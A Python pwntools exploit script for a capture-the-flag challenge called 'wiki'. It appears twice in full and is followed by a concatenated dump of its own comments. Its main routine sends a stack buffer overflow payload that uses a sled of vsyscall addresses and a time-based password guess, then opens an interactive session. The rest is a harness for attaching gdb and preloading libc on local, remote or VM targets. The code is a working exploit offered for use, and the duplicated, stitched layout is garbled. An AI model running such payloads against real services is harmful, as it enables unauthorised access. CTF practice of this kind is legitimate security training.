<filename>resources/ctf/wiki_exploit.py
#!/usr/bin/python2
import os
os.environ['TERM'] = 'xterm-256color'
import sys
from pwn import *
from time import sleep


# Setup gdb parameters
breakaddr = [
    #0x55555555514f,
    0x555555554cad,
    #0x555555554de6
]
breakname = [
#    "malloc"
]
# Addresses to print
addresses = [
#    0x6020C0
]

execute = []
execute.extend(['b *' + hex(br) for br in breakaddr])
#execute.extend(['b ' + br for br in breakname])
execute.append('set follow-fork-mode child')
execute.append('set follow-exec-mode same')
#execute.extend(['display/gx ' + hex(ad) for ad in addresses])


#execute.append('define fixheap')
#execute.append('\tset *(char*)0x603021 = 0x30')
#execute.append('end')
execute.append('vmmap')
execute.append('continue')
#execute.append('set $list=$rax')

#execute.append('del break 1')


#execute = flat(map(lambda x: x + '\n', execute))


##### Exploit Main #####
def main():
    global m
    # actual main
    # targets: local, remote, ssh - debugger: gdb, None - memviz: villoc, None
    # io_binary: True (input received on stdio), False (input received over tcp sock)
    # libc: local, remote, dbg - prelaods: list of additional prelaoded libraries
    # villoc does not work with gdb/fullrelro atm
    #m = Magic("lio", debugger="gdb", libc="local")
    m = Magic("local", True, debugger="gdb", libc="local", aslr=False)
    #m = Magic("remote", True)
    #m = Magic("vm", True, vm="ubi17", debugger="gdb", libc="local", aslr=True)
    #m.load_elf()
    #m.load_lib()

    m.c.sendline("LIST")
    dirs = m.c.recv()
    print "Users:"
    print dirs
    name = dirs.splitlines()[0]
    m.c.sendline("USER")
    print "Login as: "+name
    m.c.sendline(name)


    buff = "A"*0x88
    rbx = "B" * 8
    rbp = "C" * 8
    ret = p64(0xffffffffff600400) # sys_gettimeofday
    #ret = p64(0xffffffffff600009) # sys_gettimeofday
    #ret = p64(0xffffffffff600009) + p64(0xffffffffff600409) # sys_gettimeofday
    payload = buff + rbx + rbp + ret *24
    m.c.sendline("PASS")
    m.c.sendline(payload)
    guess = p64(int(time.time()))

    m.c.sendline(guess)


    m.c.interactive()

##### Program API #####

#### API Helper functions

# def sendlineafter(x,y):
#     return m.c.sendlineafter(x,y)
#
# def sendafter(x,y):
#     return m.c.sendafter(x,y)
#
# def cmd(menuIdx):
#     return sendlineafter('Your choice : ', '%d' % menuIdx)

def getResult():
    return m.c.recvuntil('+++++++++++++++++++++++++++++++++++++\n@', drop=True)

def choose_menu(x):
    m.c.sendlineafter('Command: ', str(x))

def choose_element(n):
    m.c.sendlineafter('Index: ', str(n))

def allocate(size):
    choose_menu(1)
    m.c.sendlineafter("Size: ", str(size))

def fill(n, data):
    choose_menu(2)
    choose_element(n)
    m.c.sendlineafter("Size: ", str(len(data)))
    m.c.sendafter("Content: ", data)

def free(n):
    choose_menu(3)
    choose_element(n)

def dump(n):
    choose_menu(4)
    choose_element(n)
    return m.c.recvuntil("1. Allocate")

def ret():
    choose_menu(5)

# SETTINGS that only needs to be set once per challenge
# Set binary path, set to None if unavailable
FN = './challenge'
# Set remote address
IP = 'wiki.ctfcompetition.com'
PORT = '1337'
# Set libcs
# Local libc
LLIB = '/home/gym/dev/ctf/libcs/libc_arch.so'
# libc with debug symbols
DLIB = '/home/gym/.lib/libc.so'
# Remote libc if given
RLIB = './libc-2.19.so'
# Ubuntu 16.04 vm libc
U16LIB = '/home/gym/dev/ctf/libcs/libc_u16.so'
# Ubuntu 17.04 vm libc
U17LIB = '/home/gym/dev/ctf/libcs/libc_u17.so'


# Set global timeout
TIMEOUT = 0.3

# Set architecture: arm i386 amd64 thumb aarch64 mips mips64 sparc sparc64 powerpc powerpc64 ia64
ARCH = 'amd64'
# Set OS: linux freebsd
OS = 'linux'
# Set endianness: big little
ENDIAN = 'little'
# Set word size if needed
WORDS = 0

# User for the remote terminal
SSH_USER = 'gym'

# Set terminal (leave empty to open dbg in new def term window)
TERMINAL = ['tmux', 'splitw','-h']

#TODO other debuggers (qira, strace, ltrace...)

class Magic(object):

    def __init__(self, target, is_io, **kwargs):
        global LIB, execute
        self.e = None
        self.c = None
        self.target = target
        self.is_io = is_io
        self.aslr = kwargs.get("aslr", False)
        self.env = os.environ.copy()
        self.binary = os.path.abspath(FN)
        self.dbg = kwargs.get("debugger", None)
        self.libc = kwargs.get("libc", "local")
        self.memviz = kwargs.get("memviz", None)
        self.debugger = kwargs.get("debugger", None)
        self.vm = kwargs.get("vm", "ubi17")
        self.preloads = kwargs.get("preloads",  [])
        self.is_attach = kwargs.get("is_attach", True)

        if self.libc == "local":
            self.lib_path = os.path.abspath(LLIB)
        elif self.libc == "remote":
            self.lib_path = os.path.abspath(RLIB)
        elif self.libc == "dbg":
            self.lib_path = os.path.abspath(DLIB)
        elif self.libc == "ubi16":
            self.lib_path = os.path.abspath(U16LIB)
        elif self.libc == "ubi17":
            self.lib_path = os.path.abspath(U17LIB)
        else:
            raise ValueError("Invalid libc type")

        self.memviz = kwargs.get("memviz", None)
        if WORDS != 0:
            context(arch = ARCH, os = OS, endian = ENDIAN, terminal=TERMINAL, aslr=self.aslr, word_size = WORDS)
        else:
            context(arch = ARCH, os = OS, endian = ENDIAN, terminal=TERMINAL, aslr=self.aslr)

        if target == "remote":
            self.c = remote(IP, PORT)
            self.libc = "remote"
            self.lib_path = os.path.abspath(RLIB)
        elif target == "local":
            if not self.is_io:
                self.c = remote("127.0.0.1", PORT)
                if self.debugger == "gdb":
                    procname = os.path.basename(os.path.normpath(self.binary))
                    # TODO make it non global
                    execute = flat(map(lambda x: x + '\n', execute))
                    # use this to attach to forked process
                    gdb.attach(self.c, execute=execute)
                    # use this to attach to the fork server (pretty much the same if follow child set)
                    #gdb.attach(procname, execute=execute)
            else:
                self.set_preload()

                if self.memviz is None and self.debugger is None:
                    self.c = process(self.binary, cwd=os.getcwd(), env=self.env)

                # TODO fix this bullshit code
                # Villoc + gdb should play nice together with preload/gdbscript
                elif self.memviz == "villoc":
                    path = ['ltrace', '-o', 'trace.tmp', self.binary]
                    self.c = process(path, cwd=os.getcwd(), env=self.env)
                elif self.debugger == "gdb":
                    self.c = process(self.binary, cwd=os.getcwd(), env=self.env)
                    # TODO make it non global
                    execute = flat(map(lambda x: x + '\n', execute))
                    gdb.attach(self.c, gdbscript=execute)
                else:
                    raise ValueError("Unknown debugger, memviz or something!")
        elif target == "vm":
            if self.is_io:
                self.open_ssh()
                self.set_preload()
                if self.debugger == "gdb" and self.is_attach:
                    self.c = self.s.process(self.binary, cwd=os.getcwd(), env=self.env)
                    execute = flat(map(lambda x: x + '\n', execute))
                    gdb.attach(self.c, execute=execute)
                elif self.debugger == "gdb" and not self.is_attach:
                    # TODO test this
                    if 'LD_PRELOAD' in self.env:
                        execute.insert("set environment LD_PRELOAD = "+self.env['LD_PRELOAD'], 0)
                    execute = flat(map(lambda x: x + '\n', execute))
                    self.c = gdb.debug(self.binary, ssh=self.s, execute=execute)
                else:
                    self.c = s.process(self.binary, cwd=os.getcwd(), env=self.env)
            else:
                self.c = remote(self.vm, PORT)
                if self.debugger == "gdb":
                    self.open_ssh()
                    execute = flat(map(lambda x: x + '\n', execute))
                    procname = os.path.basename(os.path.normpath(self.binary))
                    gdb.attach(procname, execute=execute, ssh=self.s)


    def __del__(self):
        if self.memviz == "villoc" and self.target == "lio":
            os.system('villoc.py trace.tmp trace.html')

    def load_elf(self):
        self.e = ELF(self.binary)

    def load_lib(self):
        self.l = ELF(self.lib_path)

    def open_ssh(self, cwd=os.getcwd()):
        self.s=ssh(SSH_USER, self.vm)
        self.s.set_working_directory(os.getcwd())
        tmp_env = self.s.system('printenv').recv()
        self.env={}
        for line in tmp_env.splitlines():
            var = line.split('=')[0]
            val = line.split('=')[1]
            if var != '_':
                self.env[var]=val

    def set_preload(self):
        # preload libs
        if self.libc != "local":
            self.env['LD_PRELOAD'] = self.lib_path
        for prelib in self.preloads:
            self.env['LD_PRELOAD'] += ":" + os.path.abspath(prelib)



# Global Magic instance
m = None


if __name__ == "__main__":
    #c, e, l = init()
    main()

<filename>resources/ctf/wiki_exploit.py
#!/usr/bin/python2
import os
os.environ['TERM'] = 'xterm-256color'
import sys
from pwn import *
from time import sleep


# Setup gdb parameters
breakaddr = [
    #0x55555555514f,
    0x555555554cad,
    #0x555555554de6
]
breakname = [
#    "malloc"
]
# Addresses to print
addresses = [
#    0x6020C0
]

execute = []
execute.extend(['b *' + hex(br) for br in breakaddr])
#execute.extend(['b ' + br for br in breakname])
execute.append('set follow-fork-mode child')
execute.append('set follow-exec-mode same')
#execute.extend(['display/gx ' + hex(ad) for ad in addresses])


#execute.append('define fixheap')
#execute.append('\tset *(char*)0x603021 = 0x30')
#execute.append('end')
execute.append('vmmap')
execute.append('continue')
#execute.append('set $list=$rax')

#execute.append('del break 1')


#execute = flat(map(lambda x: x + '\n', execute))


##### Exploit Main #####
def main():
    global m
    # actual main
    # targets: local, remote, ssh - debugger: gdb, None - memviz: villoc, None
    # io_binary: True (input received on stdio), False (input received over tcp sock)
    # libc: local, remote, dbg - prelaods: list of additional prelaoded libraries
    # villoc does not work with gdb/fullrelro atm
    #m = Magic("lio", debugger="gdb", libc="local")
    m = Magic("local", True, debugger="gdb", libc="local", aslr=False)
    #m = Magic("remote", True)
    #m = Magic("vm", True, vm="ubi17", debugger="gdb", libc="local", aslr=True)
    #m.load_elf()
    #m.load_lib()

    m.c.sendline("LIST")
    dirs = m.c.recv()
    print "Users:"
    print dirs
    name = dirs.splitlines()[0]
    m.c.sendline("USER")
    print "Login as: "+name
    m.c.sendline(name)


    buff = "A"*0x88
    rbx = "B" * 8
    rbp = "C" * 8
    ret = p64(0xffffffffff600400) # sys_gettimeofday
    #ret = p64(0xffffffffff600009) # sys_gettimeofday
    #ret = p64(0xffffffffff600009) + p64(0xffffffffff600409) # sys_gettimeofday
    payload = buff + rbx + rbp + ret *24
    m.c.sendline("PASS")
    m.c.sendline(payload)
    guess = p64(int(time.time()))

    m.c.sendline(guess)


    m.c.interactive()

##### Program API #####

#### API Helper functions

# def sendlineafter(x,y):
#     return m.c.sendlineafter(x,y)
#
# def sendafter(x,y):
#     return m.c.sendafter(x,y)
#
# def cmd(menuIdx):
#     return sendlineafter('Your choice : ', '%d' % menuIdx)

def getResult():
    return m.c.recvuntil('+++++++++++++++++++++++++++++++++++++\n@', drop=True)

def choose_menu(x):
    m.c.sendlineafter('Command: ', str(x))

def choose_element(n):
    m.c.sendlineafter('Index: ', str(n))

def allocate(size):
    choose_menu(1)
    m.c.sendlineafter("Size: ", str(size))

def fill(n, data):
    choose_menu(2)
    choose_element(n)
    m.c.sendlineafter("Size: ", str(len(data)))
    m.c.sendafter("Content: ", data)

def free(n):
    choose_menu(3)
    choose_element(n)

def dump(n):
    choose_menu(4)
    choose_element(n)
    return m.c.recvuntil("1. Allocate")

def ret():
    choose_menu(5)

# SETTINGS that only needs to be set once per challenge
# Set binary path, set to None if unavailable
FN = './challenge'
# Set remote address
IP = 'wiki.ctfcompetition.com'
PORT = '1337'
# Set libcs
# Local libc
LLIB = '/home/gym/dev/ctf/libcs/libc_arch.so'
# libc with debug symbols
DLIB = '/home/gym/.lib/libc.so'
# Remote libc if given
RLIB = './libc-2.19.so'
# Ubuntu 16.04 vm libc
U16LIB = '/home/gym/dev/ctf/libcs/libc_u16.so'
# Ubuntu 17.04 vm libc
U17LIB = '/home/gym/dev/ctf/libcs/libc_u17.so'


# Set global timeout
TIMEOUT = 0.3

# Set architecture: arm i386 amd64 thumb aarch64 mips mips64 sparc sparc64 powerpc powerpc64 ia64
ARCH = 'amd64'
# Set OS: linux freebsd
OS = 'linux'
# Set endianness: big little
ENDIAN = 'little'
# Set word size if needed
WORDS = 0

# User for the remote terminal
SSH_USER = 'gym'

# Set terminal (leave empty to open dbg in new def term window)
TERMINAL = ['tmux', 'splitw','-h']

#TODO other debuggers (qira, strace, ltrace...)

class Magic(object):

    def __init__(self, target, is_io, **kwargs):
        global LIB, execute
        self.e = None
        self.c = None
        self.target = target
        self.is_io = is_io
        self.aslr = kwargs.get("aslr", False)
        self.env = os.environ.copy()
        self.binary = os.path.abspath(FN)
        self.dbg = kwargs.get("debugger", None)
        self.libc = kwargs.get("libc", "local")
        self.memviz = kwargs.get("memviz", None)
        self.debugger = kwargs.get("debugger", None)
        self.vm = kwargs.get("vm", "ubi17")
        self.preloads = kwargs.get("preloads",  [])
        self.is_attach = kwargs.get("is_attach", True)

        if self.libc == "local":
            self.lib_path = os.path.abspath(LLIB)
        elif self.libc == "remote":
            self.lib_path = os.path.abspath(RLIB)
        elif self.libc == "dbg":
            self.lib_path = os.path.abspath(DLIB)
        elif self.libc == "ubi16":
            self.lib_path = os.path.abspath(U16LIB)
        elif self.libc == "ubi17":
            self.lib_path = os.path.abspath(U17LIB)
        else:
            raise ValueError("Invalid libc type")

        self.memviz = kwargs.get("memviz", None)
        if WORDS != 0:
            context(arch = ARCH, os = OS, endian = ENDIAN, terminal=TERMINAL, aslr=self.aslr, word_size = WORDS)
        else:
            context(arch = ARCH, os = OS, endian = ENDIAN, terminal=TERMINAL, aslr=self.aslr)

        if target == "remote":
            self.c = remote(IP, PORT)
            self.libc = "remote"
            self.lib_path = os.path.abspath(RLIB)
        elif target == "local":
            if not self.is_io:
                self.c = remote("127.0.0.1", PORT)
                if self.debugger == "gdb":
                    procname = os.path.basename(os.path.normpath(self.binary))
                    # TODO make it non global
                    execute = flat(map(lambda x: x + '\n', execute))
                    # use this to attach to forked process
                    gdb.attach(self.c, execute=execute)
                    # use this to attach to the fork server (pretty much the same if follow child set)
                    #gdb.attach(procname, execute=execute)
            else:
                self.set_preload()

                if self.memviz is None and self.debugger is None:
                    self.c = process(self.binary, cwd=os.getcwd(), env=self.env)

                # TODO fix this bullshit code
                # Villoc + gdb should play nice together with preload/gdbscript
                elif self.memviz == "villoc":
                    path = ['ltrace', '-o', 'trace.tmp', self.binary]
                    self.c = process(path, cwd=os.getcwd(), env=self.env)
                elif self.debugger == "gdb":
                    self.c = process(self.binary, cwd=os.getcwd(), env=self.env)
                    # TODO make it non global
                    execute = flat(map(lambda x: x + '\n', execute))
                    gdb.attach(self.c, gdbscript=execute)
                else:
                    raise ValueError("Unknown debugger, memviz or something!")
        elif target == "vm":
            if self.is_io:
                self.open_ssh()
                self.set_preload()
                if self.debugger == "gdb" and self.is_attach:
                    self.c = self.s.process(self.binary, cwd=os.getcwd(), env=self.env)
                    execute = flat(map(lambda x: x + '\n', execute))
                    gdb.attach(self.c, execute=execute)
                elif self.debugger == "gdb" and not self.is_attach:
                    # TODO test this
                    if 'LD_PRELOAD' in self.env:
                        execute.insert("set environment LD_PRELOAD = "+self.env['LD_PRELOAD'], 0)
                    execute = flat(map(lambda x: x + '\n', execute))
                    self.c = gdb.debug(self.binary, ssh=self.s, execute=execute)
                else:
                    self.c = s.process(self.binary, cwd=os.getcwd(), env=self.env)
            else:
                self.c = remote(self.vm, PORT)
                if self.debugger == "gdb":
                    self.open_ssh()
                    execute = flat(map(lambda x: x + '\n', execute))
                    procname = os.path.basename(os.path.normpath(self.binary))
                    gdb.attach(procname, execute=execute, ssh=self.s)


    def __del__(self):
        if self.memviz == "villoc" and self.target == "lio":
            os.system('villoc.py trace.tmp trace.html')

    def load_elf(self):
        self.e = ELF(self.binary)

    def load_lib(self):
        self.l = ELF(self.lib_path)

    def open_ssh(self, cwd=os.getcwd()):
        self.s=ssh(SSH_USER, self.vm)
        self.s.set_working_directory(os.getcwd())
        tmp_env = self.s.system('printenv').recv()
        self.env={}
        for line in tmp_env.splitlines():
            var = line.split('=')[0]
            val = line.split('=')[1]
            if var != '_':
                self.env[var]=val

    def set_preload(self):
        # preload libs
        if self.libc != "local":
            self.env['LD_PRELOAD'] = self.lib_path
        for prelib in self.preloads:
            self.env['LD_PRELOAD'] += ":" + os.path.abspath(prelib)



# Global Magic instance
m = None


if __name__ == "__main__":
    #c, e, l = init()
    main()

#!/usr/bin/python2 # Setup gdb parameters #0x55555555514f, #0x555555554de6 #    "malloc" # Addresses to print #    0x6020C0 #execute.extend(['b ' + br for br in breakname]) #execute.extend(['display/gx ' + hex(ad) for ad in addresses]) #execute.append('define fixheap') #execute.append('\tset *(char*)0x603021 = 0x30') #execute.append('end') #execute.append('set $list=$rax') #execute.append('del break 1') #execute = flat(map(lambda x: x + '\n', execute)) ##### Exploit Main ##### # actual main # targets: local, remote, ssh - debugger: gdb, None - memviz: villoc, None # io_binary: True (input received on stdio), False (input received over tcp sock) # libc: local, remote, dbg - prelaods: list of additional prelaoded libraries # villoc does not work with gdb/fullrelro atm #m = Magic("lio", debugger="gdb", libc="local") #m = Magic("remote", True) #m = Magic("vm", True, vm="ubi17", debugger="gdb", libc="local", aslr=True) #m.load_elf() #m.load_lib() # sys_gettimeofday #ret = p64(0xffffffffff600009) # sys_gettimeofday #ret = p64(0xffffffffff600009) + p64(0xffffffffff600409) # sys_gettimeofday ##### Program API ##### #### API Helper functions # def sendlineafter(x,y): #     return m.c.sendlineafter(x,y) # # def sendafter(x,y): #     return m.c.sendafter(x,y) # # def cmd(menuIdx): #     return sendlineafter('Your choice : ', '%d' % menuIdx) # SETTINGS that only needs to be set once per challenge # Set binary path, set to None if unavailable # Set remote address # Set libcs # Local libc # libc with debug symbols # Remote libc if given # Ubuntu 16.04 vm libc # Ubuntu 17.04 vm libc # Set global timeout # Set architecture: arm i386 amd64 thumb aarch64 mips mips64 sparc sparc64 powerpc powerpc64 ia64 # Set OS: linux freebsd # Set endianness: big little # Set word size if needed # User for the remote terminal # Set terminal (leave empty to open dbg in new def term window) #TODO other debuggers (qira, strace, ltrace...) # TODO make it non global # use this to attach to forked process # use this to attach to the fork server (pretty much the same if follow child set) #gdb.attach(procname, execute=execute) # TODO fix this bullshit code # Villoc + gdb should play nice together with preload/gdbscript # TODO make it non global # TODO test this # preload libs # Global Magic instance #c, e, l = init()